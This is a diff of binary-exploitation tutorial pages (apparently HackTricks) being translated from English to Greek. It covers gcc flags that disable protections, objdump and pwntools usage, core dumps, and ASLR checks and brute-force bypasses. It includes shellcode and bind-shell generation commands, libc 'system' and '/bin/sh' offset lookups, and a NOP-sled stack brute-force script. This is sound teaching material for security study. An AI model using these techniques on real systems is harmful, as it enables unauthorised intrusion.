**gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> Συμπίεση χωρίς προστασίες\
|
||||
&#xNAN;**-o** --> Έξοδος\
|
||||
&#xNAN;**-g** --> Αποθήκευση κώδικα (το GDB θα μπορεί να το δει)\
|
||||
**echo 0 > /proc/sys/kernel/randomize_va_space** --> Για να απενεργοποιήσετε το ASLR στο linux
|
||||
|
||||
**To compile a shellcode:**\
|
||||
**nasm -f elf assembly.asm** --> return a ".o"\
|
||||
**ld assembly.o -o shellcodeout** --> Executable
|
||||
**Για να συμπιέσετε ένα shellcode:**\
|
||||
**nasm -f elf assembly.asm** --> επιστρέφει ένα ".o"\
|
||||
**ld assembly.o -o shellcodeout** --> Εκτελέσιμο
|
||||
|
||||
## Objdump
|
||||
|
||||
**-d** --> **Disassemble executable** sections (see opcodes of a compiled shellcode, find ROP Gadgets, find function address...)\
|
||||
&#xNAN;**-Mintel** --> **Intel** syntax\
|
||||
&#xNAN;**-t** --> **Symbols** table\
|
||||
&#xNAN;**-D** --> **Disassemble all** (address of static variable)\
|
||||
&#xNAN;**-s -j .dtors** --> dtors section\
|
||||
&#xNAN;**-s -j .got** --> got section\
|
||||
-D -s -j .plt --> **plt** section **decompiled**\
|
||||
&#xNAN;**-TR** --> **Relocations**\
|
||||
**ojdump -t --dynamic-relo ./exec | grep puts** --> Address of "puts" to modify in GOT\
|
||||
**objdump -D ./exec | grep "VAR_NAME"** --> Address or a static variable (those are stored in DATA section).
|
||||
**-d** --> **Αποσυναρμολόγηση εκτελέσιμων** τμημάτων (δείτε τα opcodes ενός συμπιεσμένου shellcode, βρείτε ROP Gadgets, βρείτε διεύθυνση συνάρτησης...)\
|
||||
&#xNAN;**-Mintel** --> **Σύνταξη Intel**\
|
||||
&#xNAN;**-t** --> **Πίνακας συμβόλων**\
|
||||
&#xNAN;**-D** --> **Αποσυναρμολόγηση όλων** (διεύθυνση στατικής μεταβλητής)\
|
||||
&#xNAN;**-s -j .dtors** --> τμήμα dtors\
|
||||
&#xNAN;**-s -j .got** --> τμήμα got\
|
||||
-D -s -j .plt --> **plt** τμήμα **αποσυναρμολόγησης**\
|
||||
&#xNAN;**-TR** --> **Μετατοπίσεις**\
|
||||
**ojdump -t --dynamic-relo ./exec | grep puts** --> Διεύθυνση του "puts" για τροποποίηση στο GOT\
|
||||
**objdump -D ./exec | grep "VAR_NAME"** --> Διεύθυνση ή στατική μεταβλητή (αυτές αποθηκεύονται στο τμήμα DATA).
|
||||
|
||||
## Core dumps
|
||||
|
||||
1. Run `ulimit -c unlimited` before starting my program
|
||||
2. Run `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t`
|
||||
1. Εκτελέστε `ulimit -c unlimited` πριν ξεκινήσετε το πρόγραμμα μου
|
||||
2. Εκτελέστε `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t`
|
||||
3. sudo gdb --core=\<path/core> --quiet
|
||||
|
||||
## More
|
||||
## Περισσότερα
|
||||
|
||||
**ldd executable | grep libc.so.6** --> Address (if ASLR, then this change every time)\
|
||||
**for i in \`seq 0 20\`; do ldd \<Ejecutable> | grep libc; done** --> Loop to see if the address changes a lot\
|
||||
**readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> Offset of "system"\
|
||||
**strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> Offset of "/bin/sh"
|
||||
**ldd executable | grep libc.so.6** --> Διεύθυνση (αν ASLR, τότε αυτό αλλάζει κάθε φορά)\
|
||||
**for i in \`seq 0 20\`; do ldd \<Ejecutable> | grep libc; done** --> Βρόχος για να δείτε αν η διεύθυνση αλλάζει πολύ\
|
||||
**readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> Offset του "system"\
|
||||
**strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> Offset του "/bin/sh"
|
||||
|
||||
**strace executable** --> Functions called by the executable\
|
||||
**rabin2 -i ejecutable -->** Address of all the functions
|
||||
**strace executable** --> Συναρτήσεις που καλούνται από το εκτελέσιμο\
|
||||
**rabin2 -i ejecutable -->** Διεύθυνση όλων των συναρτήσεων
|
||||
|
||||
## **Inmunity debugger**
|
||||
|
||||
```bash
|
||||
!mona modules #Get protections, look for all false except last one (Dll of SO)
|
||||
!mona find -s "\xff\xe4" -m name_unsecure.dll #Search for opcodes insie dll space (JMP ESP)
|
||||
```
|
||||
|
||||
## IDA
|
||||
|
||||
### Debugging in remote linux
|
||||
|
||||
Inside the IDA folder you can find binaries that can be used to debug a binary inside a linux. To do so move the binary `linux_server` or `linux_server64` inside the linux server and run it nside the folder that contains the binary:
|
||||
### Αποσφαλμάτωση σε απομακρυσμένο linux
|
||||
|
||||
Μέσα στον φάκελο IDA μπορείτε να βρείτε δυαδικά αρχεία που μπορούν να χρησιμοποιηθούν για να αποσφαλματώσετε ένα δυαδικό αρχείο μέσα σε ένα linux. Για να το κάνετε αυτό, μετακινήστε το δυαδικό `linux_server` ή `linux_server64` μέσα στον linux server και εκτελέστε το μέσα στον φάκελο που περιέχει το δυαδικό:
|
||||
```
|
||||
./linux_server64 -Ppass
|
||||
```
|
||||
|
||||
Then, configure the debugger: Debugger (linux remote) --> Proccess options...:
|
||||
Στη συνέχεια, ρυθμίστε τον αποσφαλματωτή: Debugger (linux remote) --> Proccess options...:
|
||||
|
||||
.png>)
|
||||
|
||||
|
||||
@ -1,120 +1,100 @@
|
||||
# PwnTools
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
```
|
||||
pip3 install pwntools
|
||||
```
|
||||
|
||||
## Pwn asm
|
||||
|
||||
Get **opcodes** from line or file.
|
||||
|
||||
Πάρε **opcodes** από γραμμή ή αρχείο.
|
||||
```
|
||||
pwn asm "jmp esp"
|
||||
pwn asm -i <filepath>
|
||||
```
|
||||
**Μπορεί να επιλέξει:**
|
||||
|
||||
**Can select:**
|
||||
|
||||
- output type (raw,hex,string,elf)
|
||||
- output file context (16,32,64,linux,windows...)
|
||||
- avoid bytes (new lines, null, a list)
|
||||
- select encoder debug shellcode using gdb run the output
|
||||
- τύπος εξόδου (raw, hex, string, elf)
|
||||
- περιεχόμενο αρχείου εξόδου (16, 32, 64, linux, windows...)
|
||||
- αποφυγή byte (νέες γραμμές, null, μια λίστα)
|
||||
- επιλέξτε encoder debug shellcode χρησιμοποιώντας gdb εκτελέστε την έξοδο
|
||||
|
||||
## **Pwn checksec**
|
||||
|
||||
Checksec script
|
||||
|
||||
```
|
||||
pwn checksec <executable>
|
||||
```
|
||||
|
||||
## Pwn constgrep
|
||||
|
||||
## Pwn cyclic
|
||||
|
||||
Get a pattern
|
||||
|
||||
Πάρε ένα μοτίβο
|
||||
```
|
||||
pwn cyclic 3000
|
||||
pwn cyclic -l faad
|
||||
```
|
||||
**Μπορεί να επιλέξει:**
|
||||
|
||||
**Can select:**
|
||||
|
||||
- The used alphabet (lowercase chars by default)
|
||||
- Length of uniq pattern (default 4)
|
||||
- context (16,32,64,linux,windows...)
|
||||
- Take the offset (-l)
|
||||
- Το χρησιμοποιούμενο αλφάβητο (χαμηλά γράμματα από προεπιλογή)
|
||||
- Μήκος μοναδικού μοτίβου (προεπιλογή 4)
|
||||
- συμφραζόμενα (16,32,64,linux,windows...)
|
||||
- Πάρτε την απόκλιση (-l)
|
||||
|
||||
## Pwn debug
|
||||
|
||||
Attach GDB to a process
|
||||
|
||||
Συνδέστε το GDB σε μια διαδικασία
|
||||
```
|
||||
pwn debug --exec /bin/bash
|
||||
pwn debug --pid 1234
|
||||
pwn debug --process bash
|
||||
```
|
||||
**Μπορεί να επιλεγεί:**
|
||||
|
||||
**Can select:**
|
||||
|
||||
- By executable, by name or by pid context (16,32,64,linux,windows...)
|
||||
- gdbscript to execute
|
||||
- Με βάση το εκτελέσιμο, το όνομα ή το pid context (16,32,64,linux,windows...)
|
||||
- gdbscript προς εκτέλεση
|
||||
- sysrootpath
|
||||
|
||||
## Pwn disablenx
|
||||
|
||||
Disable nx of a binary
|
||||
|
||||
Απενεργοποίηση nx ενός δυαδικού αρχείου
|
||||
```
|
||||
pwn disablenx <filepath>
|
||||
```
|
||||
|
||||
## Pwn disasm
|
||||
|
||||
Disas hex opcodes
|
||||
|
||||
Αποσυναρμολόγηση hex opcodes
|
||||
```
|
||||
pwn disasm ffe4
|
||||
```
|
||||
**Μπορεί να επιλέξει:**
|
||||
|
||||
**Can select:**
|
||||
|
||||
- context (16,32,64,linux,windows...)
|
||||
- base addres
|
||||
- color(default)/no color
|
||||
- συμφραζόμενα (16,32,64,linux,windows...)
|
||||
- βάση διεύθυνση
|
||||
- χρώμα (προεπιλογή)/χωρίς χρώμα
|
||||
|
||||
## Pwn elfdiff
|
||||
|
||||
Print differences between 2 files
|
||||
|
||||
Εκτυπώνει τις διαφορές μεταξύ 2 αρχείων
|
||||
```
|
||||
pwn elfdiff <file1> <file2>
|
||||
```
|
||||
|
||||
## Pwn hex
|
||||
|
||||
Get hexadecimal representation
|
||||
|
||||
Λάβετε την εξαγωγή σε δεκαεξαδική μορφή
|
||||
```bash
|
||||
pwn hex hola #Get hex of "hola" ascii
|
||||
```
|
||||
|
||||
## Pwn phd
|
||||
|
||||
Get hexdump
|
||||
|
||||
Πάρε hexdump
|
||||
```
|
||||
pwn phd <file>
|
||||
```
|
||||
**Μπορεί να επιλέξει:**
|
||||
|
||||
**Can select:**
|
||||
|
||||
- Number of bytes to show
|
||||
- Number of bytes per line highlight byte
|
||||
- Skip bytes at beginning
|
||||
- Αριθμός byte προς εμφάνιση
|
||||
- Αριθμός byte ανά γραμμή highlight byte
|
||||
- Παράλειψη byte στην αρχή
|
||||
|
||||
## Pwn pwnstrip
|
||||
|
||||
@ -122,8 +102,7 @@ pwn phd <file>
|
||||
|
||||
## Pwn shellcraft
|
||||
|
||||
Get shellcodes
|
||||
|
||||
Αποκτήστε shellcodes
|
||||
```
|
||||
pwn shellcraft -l #List shellcodes
|
||||
pwn shellcraft -l amd #Shellcode with amd in the name
|
||||
@ -131,46 +110,39 @@ pwn shellcraft -f hex amd64.linux.sh #Create in C and run
|
||||
pwn shellcraft -r amd64.linux.sh #Run to test. Get shell
|
||||
pwn shellcraft .r amd64.linux.bindsh 9095 #Bind SH to port
|
||||
```
|
||||
**Μπορεί να επιλέξει:**
|
||||
|
||||
**Can select:**
|
||||
- shellcode και παραμέτρους για το shellcode
|
||||
- Έξοδος αρχείου
|
||||
- μορφή εξόδου
|
||||
- αποσφαλμάτωση (σύνδεση dbg με το shellcode)
|
||||
- πριν (παγίδα αποσφαλμάτωσης πριν από τον κώδικα)
|
||||
- μετά
|
||||
- αποφυγή χρήσης opcodes (προεπιλογή: όχι null και νέα γραμμή)
|
||||
- Εκτέλεση του shellcode
|
||||
- Χρώμα/χωρίς χρώμα
|
||||
- λίστα syscalls
|
||||
- λίστα πιθανών shellcodes
|
||||
- Δημιουργία ELF ως κοινή βιβλιοθήκη
|
||||
|
||||
- shellcode and arguments for the shellcode
|
||||
- Out file
|
||||
- output format
|
||||
- debug (attach dbg to shellcode)
|
||||
- before (debug trap before code)
|
||||
- after
|
||||
- avoid using opcodes (default: not null and new line)
|
||||
- Run the shellcode
|
||||
- Color/no color
|
||||
- list syscalls
|
||||
- list possible shellcodes
|
||||
- Generate ELF as a shared library
|
||||
|
||||
## Pwn template
|
||||
|
||||
Get a python template
|
||||
## Πρότυπο Pwn
|
||||
|
||||
Πάρτε ένα πρότυπο python
|
||||
```
|
||||
pwn template
|
||||
```
|
||||
|
||||
**Can select:** host, port, user, pass, path and quiet
|
||||
**Μπορεί να επιλέξει:** host, port, user, pass, path και quiet
|
||||
|
||||
## Pwn unhex
|
||||
|
||||
From hex to string
|
||||
|
||||
Από hex σε string
|
||||
```
|
||||
pwn unhex 686f6c61
|
||||
```
|
||||
## Pwn ενημέρωση
|
||||
|
||||
## Pwn update
|
||||
|
||||
To update pwntools
|
||||
|
||||
Για να ενημερώσετε το pwntools
|
||||
```
|
||||
pwn update
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -1,35 +1,29 @@
|
||||
# Common Binary Exploitation Protections & Bypasses
|
||||
# Κοινές Προστασίες & Παράκαμψεις Δυαδικής Εκμετάλλευσης
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Enable Core files
|
||||
## Ενεργοποίηση Αρχείων Core
|
||||
|
||||
**Core files** are a type of file generated by an operating system when a process crashes. These files capture the memory image of the crashed process at the time of its termination, including the process's memory, registers, and program counter state, among other details. This snapshot can be extremely valuable for debugging and understanding why the crash occurred.
|
||||
**Αρχεία Core** είναι ένας τύπος αρχείου που δημιουργείται από ένα λειτουργικό σύστημα όταν μια διαδικασία καταρρέει. Αυτά τα αρχεία καταγράφουν την εικόνα μνήμης της κατεστραμμένης διαδικασίας τη στιγμή της τερματισμού της, συμπεριλαμβανομένης της μνήμης της διαδικασίας, των καταχωρητών και της κατάστασης του μετρητή προγράμματος, μεταξύ άλλων λεπτομερειών. Αυτή η στιγμιότυπη εικόνα μπορεί να είναι εξαιρετικά πολύτιμη για την αποσφαλμάτωση και την κατανόηση του λόγου που συνέβη η κατάρρευση.
|
||||
|
||||
### **Enabling Core Dump Generation**
|
||||
### **Ενεργοποίηση Δημιουργίας Core Dump**
|
||||
|
||||
By default, many systems limit the size of core files to 0 (i.e., they do not generate core files) to save disk space. To enable the generation of core files, you can use the **`ulimit`** command (in bash or similar shells) or configure system-wide settings.
|
||||
|
||||
- **Using ulimit**: The command `ulimit -c unlimited` allows the current shell session to create unlimited-sized core files. This is useful for debugging sessions but is not persistent across reboots or new sessions.
|
||||
Από προεπιλογή, πολλά συστήματα περιορίζουν το μέγεθος των αρχείων core σε 0 (δηλαδή, δεν δημιουργούν αρχεία core) για να εξοικονομήσουν χώρο στο δίσκο. Για να ενεργοποιήσετε τη δημιουργία αρχείων core, μπορείτε να χρησιμοποιήσετε την εντολή **`ulimit`** (σε bash ή παρόμοιες θήκες) ή να ρυθμίσετε ρυθμίσεις σε επίπεδο συστήματος.
|
||||
|
||||
- **Χρησιμοποιώντας ulimit**: Η εντολή `ulimit -c unlimited` επιτρέπει στην τρέχουσα συνεδρία θήκης να δημιουργεί αρχεία core απεριόριστου μεγέθους. Αυτό είναι χρήσιμο για συνεδρίες αποσφαλμάτωσης αλλά δεν είναι μόνιμο κατά την επανεκκίνηση ή σε νέες συνεδρίες.
|
||||
```bash
|
||||
ulimit -c unlimited
|
||||
```
|
||||
|
||||
- **Persistent Configuration**: For a more permanent solution, you can edit the `/etc/security/limits.conf` file to include a line like `* soft core unlimited`, which allows all users to generate unlimited size core files without having to set ulimit manually in their sessions.
|
||||
|
||||
- **Μόνιμη Διαμόρφωση**: Για μια πιο μόνιμη λύση, μπορείτε να επεξεργαστείτε το αρχείο `/etc/security/limits.conf` για να συμπεριλάβετε μια γραμμή όπως `* soft core unlimited`, η οποία επιτρέπει σε όλους τους χρήστες να δημιουργούν αρχεία core απεριόριστου μεγέθους χωρίς να χρειάζεται να ορίσουν το ulimit χειροκίνητα στις συνεδρίες τους.
|
||||
```markdown
|
||||
- soft core unlimited
|
||||
```
|
||||
### **Ανάλυση Αρχείων Core με GDB**
|
||||
|
||||
### **Analyzing Core Files with GDB**
|
||||
|
||||
To analyze a core file, you can use debugging tools like GDB (the GNU Debugger). Assuming you have an executable that produced a core dump and the core file is named `core_file`, you can start the analysis with:
|
||||
|
||||
Για να αναλύσετε ένα αρχείο core, μπορείτε να χρησιμοποιήσετε εργαλεία αποσφαλμάτωσης όπως το GDB (GNU Debugger). Υποθέτοντας ότι έχετε ένα εκτελέσιμο που παρήγαγε μια απόθεση core και το αρχείο core ονομάζεται `core_file`, μπορείτε να ξεκινήσετε την ανάλυση με:
|
||||
```bash
|
||||
gdb /path/to/executable /path/to/core_file
|
||||
```
|
||||
|
||||
This command loads the executable and the core file into GDB, allowing you to inspect the state of the program at the time of the crash. You can use GDB commands to explore the stack, examine variables, and understand the cause of the crash.
|
||||
Αυτή η εντολή φορτώνει το εκτελέσιμο και το core αρχείο στο GDB, επιτρέποντάς σας να εξετάσετε την κατάσταση του προγράμματος τη στιγμή της κατάρρευσης. Μπορείτε να χρησιμοποιήσετε τις εντολές GDB για να εξερευνήσετε τη στοίβα, να εξετάσετε μεταβλητές και να κατανοήσετε την αιτία της κατάρρευσης.
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -4,105 +4,90 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
**Address Space Layout Randomization (ASLR)** is a security technique used in operating systems to **randomize the memory addresses** used by system and application processes. By doing so, it makes it significantly harder for an attacker to predict the location of specific processes and data, such as the stack, heap, and libraries, thereby mitigating certain types of exploits, particularly buffer overflows.
|
||||
**Η Τυχαία Διάταξη Χώρου Διευθύνσεων (ASLR)** είναι μια τεχνική ασφαλείας που χρησιμοποιείται σε λειτουργικά συστήματα για να **τυχαίνει τις διευθύνσεις μνήμης** που χρησιμοποιούνται από διαδικασίες συστήματος και εφαρμογών. Με αυτόν τον τρόπο, καθιστά σημαντικά πιο δύσκολο για έναν επιτιθέμενο να προβλέψει την τοποθεσία συγκεκριμένων διαδικασιών και δεδομένων, όπως η στοίβα, η σωρός και οι βιβλιοθήκες, μειώνοντας έτσι ορισμένους τύπους εκμεταλλεύσεων, ιδιαίτερα τις υπερχειλίσεις μνήμης.
|
||||
|
||||
### **Checking ASLR Status**
|
||||
|
||||
To **check** the ASLR status on a Linux system, you can read the value from the **`/proc/sys/kernel/randomize_va_space`** file. The value stored in this file determines the type of ASLR being applied:
|
||||
Για να **ελέγξετε** την κατάσταση ASLR σε ένα σύστημα Linux, μπορείτε να διαβάσετε την τιμή από το **`/proc/sys/kernel/randomize_va_space`** αρχείο. Η τιμή που αποθηκεύεται σε αυτό το αρχείο καθορίζει τον τύπο ASLR που εφαρμόζεται:
|
||||
|
||||
- **0**: No randomization. Everything is static.
|
||||
- **1**: Conservative randomization. Shared libraries, stack, mmap(), VDSO page are randomized.
|
||||
- **2**: Full randomization. In addition to elements randomized by conservative randomization, memory managed through `brk()` is randomized.
|
||||
|
||||
You can check the ASLR status with the following command:
|
||||
- **0**: Καμία τυχαία διάταξη. Όλα είναι στατικά.
|
||||
- **1**: Συντηρητική τυχαία διάταξη. Οι κοινές βιβλιοθήκες, η στοίβα, το mmap(), η σελίδα VDSO είναι τυχαίες.
|
||||
- **2**: Πλήρης τυχαία διάταξη. Εκτός από τα στοιχεία που τυχαίνουν από τη συντηρητική τυχαία διάταξη, η μνήμη που διαχειρίζεται μέσω του `brk()` είναι τυχαία.
|
||||
|
||||
Μπορείτε να ελέγξετε την κατάσταση ASLR με την παρακάτω εντολή:
|
||||
```bash
|
||||
cat /proc/sys/kernel/randomize_va_space
|
||||
```
|
||||
### **Απενεργοποίηση ASLR**
|
||||
|
||||
### **Disabling ASLR**
|
||||
|
||||
To **disable** ASLR, you set the value of `/proc/sys/kernel/randomize_va_space` to **0**. Disabling ASLR is generally not recommended outside of testing or debugging scenarios. Here's how you can disable it:
|
||||
|
||||
Για να **απενεργοποιήσετε** το ASLR, ορίστε την τιμή του `/proc/sys/kernel/randomize_va_space` σε **0**. Η απενεργοποίηση του ASLR γενικά δεν συνιστάται εκτός από σενάρια δοκιμών ή αποσφαλμάτωσης. Ακολουθούν οι οδηγίες για την απενεργοποίησή του:
|
||||
```bash
|
||||
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
|
||||
```
|
||||
|
||||
You can also disable ASLR for an execution with:
|
||||
|
||||
Μπορείτε επίσης να απενεργοποιήσετε το ASLR για μια εκτέλεση με:
|
||||
```bash
|
||||
setarch `arch` -R ./bin args
|
||||
setarch `uname -m` -R ./bin args
|
||||
```
|
||||
### **Ενεργοποίηση ASLR**
|
||||
|
||||
### **Enabling ASLR**
|
||||
|
||||
To **enable** ASLR, you can write a value of **2** to the `/proc/sys/kernel/randomize_va_space` file. This typically requires root privileges. Enabling full randomization can be done with the following command:
|
||||
|
||||
Για να **ενεργοποιήσετε** το ASLR, μπορείτε να γράψετε μια τιμή **2** στο αρχείο `/proc/sys/kernel/randomize_va_space`. Αυτό συνήθως απαιτεί δικαιώματα root. Η πλήρης τυχαία κατανομή μπορεί να γίνει με την ακόλουθη εντολή:
|
||||
```bash
|
||||
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
|
||||
```
|
||||
### **Επιμονή Μεταξύ Επανεκκινήσεων**
|
||||
|
||||
### **Persistence Across Reboots**
|
||||
|
||||
Changes made with the `echo` commands are temporary and will be reset upon reboot. To make the change persistent, you need to edit the `/etc/sysctl.conf` file and add or modify the following line:
|
||||
|
||||
Οι αλλαγές που γίνονται με τις εντολές `echo` είναι προσωρινές και θα επαναρυθμιστούν κατά την επανεκκίνηση. Για να κάνετε την αλλαγή μόνιμη, πρέπει να επεξεργαστείτε το αρχείο `/etc/sysctl.conf` και να προσθέσετε ή να τροποποιήσετε την παρακάτω γραμμή:
|
||||
```tsconfig
|
||||
kernel.randomize_va_space=2 # Enable ASLR
|
||||
# or
|
||||
kernel.randomize_va_space=0 # Disable ASLR
|
||||
```
|
||||
|
||||
After editing `/etc/sysctl.conf`, apply the changes with:
|
||||
|
||||
Μετά την επεξεργασία του `/etc/sysctl.conf`, εφαρμόστε τις αλλαγές με:
|
||||
```bash
|
||||
sudo sysctl -p
|
||||
```
|
||||
Αυτό θα διασφαλίσει ότι οι ρυθμίσεις ASLR σας παραμένουν κατά τη διάρκεια των επανεκκινήσεων.
|
||||
|
||||
This will ensure that your ASLR settings remain across reboots.
|
||||
|
||||
## **Bypasses**
|
||||
## **Παρακάμψεις**
|
||||
|
||||
### 32bit brute-forcing
|
||||
|
||||
PaX divides the process address space into **3 groups**:
|
||||
Το PaX χωρίζει τον χώρο διευθύνσεων της διαδικασίας σε **3 ομάδες**:
|
||||
|
||||
- **Code and data** (initialized and uninitialized): `.text`, `.data`, and `.bss` —> **16 bits** of entropy in the `delta_exec` variable. This variable is randomly initialized with each process and added to the initial addresses.
|
||||
- **Memory** allocated by `mmap()` and **shared libraries** —> **16 bits**, named `delta_mmap`.
|
||||
- **The stack** —> **24 bits**, referred to as `delta_stack`. However, it effectively uses **11 bits** (from the 10th to the 20th byte inclusive), aligned to **16 bytes** —> This results in **524,288 possible real stack addresses**.
|
||||
- **Κώδικας και δεδομένα** (αρχικοποιημένα και μη αρχικοποιημένα): `.text`, `.data`, και `.bss` —> **16 bits** εντροπίας στη μεταβλητή `delta_exec`. Αυτή η μεταβλητή αρχικοποιείται τυχαία με κάθε διαδικασία και προστίθεται στις αρχικές διευθύνσεις.
|
||||
- **Μνήμη** που έχει κατανεμηθεί από το `mmap()` και **κοινές βιβλιοθήκες** —> **16 bits**, ονομάζεται `delta_mmap`.
|
||||
- **Η στοίβα** —> **24 bits**, αναφέρεται ως `delta_stack`. Ωστόσο, χρησιμοποιεί αποτελεσματικά **11 bits** (από το 10ο έως το 20ό byte συμπεριλαμβανομένου), ευθυγραμμισμένο σε **16 bytes** —> Αυτό έχει ως αποτέλεσμα **524,288 δυνατές πραγματικές διευθύνσεις στοίβας**.
|
||||
|
||||
The previous data is for 32-bit systems and the reduced final entropy makes possible to bypass ASLR by retrying the execution once and again until the exploit completes successfully.
|
||||
Τα προηγούμενα δεδομένα αφορούν συστήματα 32-bit και η μειωμένη τελική εντροπία καθιστά δυνατή την παράκαμψη του ASLR δοκιμάζοντας την εκτέλεση ξανά και ξανά μέχρι να ολοκληρωθεί επιτυχώς η εκμετάλλευση.
|
||||
|
||||
#### Brute-force ideas:
|
||||
|
||||
- If you have a big enough overflow to host a **big NOP sled before the shellcode**, you could just brute-force addresses in the stack until the flow **jumps over some part of the NOP sled**.
|
||||
- Another option for this in case the overflow is not that big and the exploit can be run locally is possible to **add the NOP sled and shellcode in an environment variable**.
|
||||
- If the exploit is local, you can try to brute-force the base address of libc (useful for 32bit systems):
|
||||
#### Ιδέες brute-force:
|
||||
|
||||
- Αν έχετε μια αρκετά μεγάλη υπερχείλιση για να φιλοξενήσετε μια **μεγάλη NOP sled πριν από το shellcode**, μπορείτε απλά να δοκιμάσετε διευθύνσεις στη στοίβα μέχρι η ροή **να πηδήξει πάνω από κάποιο μέρος της NOP sled**.
|
||||
- Μια άλλη επιλογή για αυτό σε περίπτωση που η υπερχείλιση δεν είναι τόσο μεγάλη και η εκμετάλλευση μπορεί να εκτελείται τοπικά είναι να **προσθέσετε την NOP sled και το shellcode σε μια μεταβλητή περιβάλλοντος**.
|
||||
- Αν η εκμετάλλευση είναι τοπική, μπορείτε να προσπαθήσετε να δοκιμάσετε τη βασική διεύθυνση της libc (χρήσιμο για συστήματα 32bit):
|
||||
```python
|
||||
for off in range(0xb7000000, 0xb8000000, 0x1000):
|
||||
```
|
||||
|
||||
- If attacking a remote server, you could try to **brute-force the address of the `libc` function `usleep`**, passing as argument 10 (for example). If at some point the **server takes 10s extra to respond**, you found the address of this function.
|
||||
- Αν επιτίθεστε σε έναν απομακρυσμένο διακομιστή, μπορείτε να προσπαθήσετε να **σπάσετε τη διεύθυνση της συνάρτησης `libc` `usleep`**, περνώντας ως επιχείρημα 10 (για παράδειγμα). Αν σε κάποιο σημείο ο **διακομιστής χρειαστεί 10 δευτερόλεπτα επιπλέον για να απαντήσει**, βρήκατε τη διεύθυνση αυτής της συνάρτησης.
|
||||
|
||||
> [!TIP]
|
||||
> In 64bit systems the entropy is much higher and this shouldn't possible.
|
||||
> Σε συστήματα 64bit η εντροπία είναι πολύ υψηλότερη και αυτό δεν θα έπρεπε να είναι δυνατό.
|
||||
|
||||
### 64 bits stack brute-forcing
|
||||
|
||||
It's possible to occupy a big part of the stack with env variables and then try to abuse the binary hundreds/thousands of times locally to exploit it.\
|
||||
The following code shows how it's possible to **just select an address in the stack** and every **few hundreds of executions** that address will contain the **NOP instruction**:
|
||||
|
||||
Είναι δυνατόν να καταλάβετε ένα μεγάλο μέρος της στοίβας με μεταβλητές περιβάλλοντος και στη συνέχεια να προσπαθήσετε να εκμεταλλευτείτε το δυαδικό εκατοντάδες/χίλιες φορές τοπικά.\
|
||||
Ο παρακάτω κώδικας δείχνει πώς είναι δυνατόν να **επιλέξετε απλώς μια διεύθυνση στη στοίβα** και κάθε **μερικές εκατοντάδες εκτελέσεις** αυτή η διεύθυνση θα περιέχει την **εντολή NOP**:
|
||||
```c
|
||||
//clang -o aslr-testing aslr-testing.c -fno-stack-protector -Wno-format-security -no-pie
|
||||
#include <stdio.h>
|
||||
|
||||
int main() {
|
||||
unsigned long long address = 0xffffff1e7e38;
|
||||
unsigned int* ptr = (unsigned int*)address;
|
||||
unsigned int value = *ptr;
|
||||
printf("The 4 bytes from address 0xffffff1e7e38: 0x%x\n", value);
|
||||
return 0;
|
||||
unsigned long long address = 0xffffff1e7e38;
|
||||
unsigned int* ptr = (unsigned int*)address;
|
||||
unsigned int value = *ptr;
|
||||
printf("The 4 bytes from address 0xffffff1e7e38: 0x%x\n", value);
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
@ -117,70 +102,68 @@ shellcode_env_var = nop * n_nops
|
||||
|
||||
# Define the environment variables you want to set
|
||||
env_vars = {
|
||||
'a': shellcode_env_var,
|
||||
'b': shellcode_env_var,
|
||||
'c': shellcode_env_var,
|
||||
'd': shellcode_env_var,
|
||||
'e': shellcode_env_var,
|
||||
'f': shellcode_env_var,
|
||||
'g': shellcode_env_var,
|
||||
'h': shellcode_env_var,
|
||||
'i': shellcode_env_var,
|
||||
'j': shellcode_env_var,
|
||||
'k': shellcode_env_var,
|
||||
'l': shellcode_env_var,
|
||||
'm': shellcode_env_var,
|
||||
'n': shellcode_env_var,
|
||||
'o': shellcode_env_var,
|
||||
'p': shellcode_env_var,
|
||||
'a': shellcode_env_var,
|
||||
'b': shellcode_env_var,
|
||||
'c': shellcode_env_var,
|
||||
'd': shellcode_env_var,
|
||||
'e': shellcode_env_var,
|
||||
'f': shellcode_env_var,
|
||||
'g': shellcode_env_var,
|
||||
'h': shellcode_env_var,
|
||||
'i': shellcode_env_var,
|
||||
'j': shellcode_env_var,
|
||||
'k': shellcode_env_var,
|
||||
'l': shellcode_env_var,
|
||||
'm': shellcode_env_var,
|
||||
'n': shellcode_env_var,
|
||||
'o': shellcode_env_var,
|
||||
'p': shellcode_env_var,
|
||||
}
|
||||
|
||||
cont = 0
|
||||
while True:
|
||||
cont += 1
|
||||
cont += 1
|
||||
|
||||
if cont % 10000 == 0:
|
||||
break
|
||||
if cont % 10000 == 0:
|
||||
break
|
||||
|
||||
print(cont, end="\r")
|
||||
# Define the path to your binary
|
||||
binary_path = './aslr-testing'
|
||||
print(cont, end="\r")
|
||||
# Define the path to your binary
|
||||
binary_path = './aslr-testing'
|
||||
|
||||
try:
|
||||
process = subprocess.Popen(binary_path, env=env_vars, stdout=subprocess.PIPE, text=True)
|
||||
output = process.communicate()[0]
|
||||
if "0xd5" in str(output):
|
||||
print(str(cont) + " -> " + output)
|
||||
except Exception as e:
|
||||
print(e)
|
||||
print(traceback.format_exc())
|
||||
pass
|
||||
try:
|
||||
process = subprocess.Popen(binary_path, env=env_vars, stdout=subprocess.PIPE, text=True)
|
||||
output = process.communicate()[0]
|
||||
if "0xd5" in str(output):
|
||||
print(str(cont) + " -> " + output)
|
||||
except Exception as e:
|
||||
print(e)
|
||||
print(traceback.format_exc())
|
||||
pass
|
||||
```
|
||||
|
||||
<figure><img src="../../../images/image (1214).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
### Local Information (`/proc/[pid]/stat`)
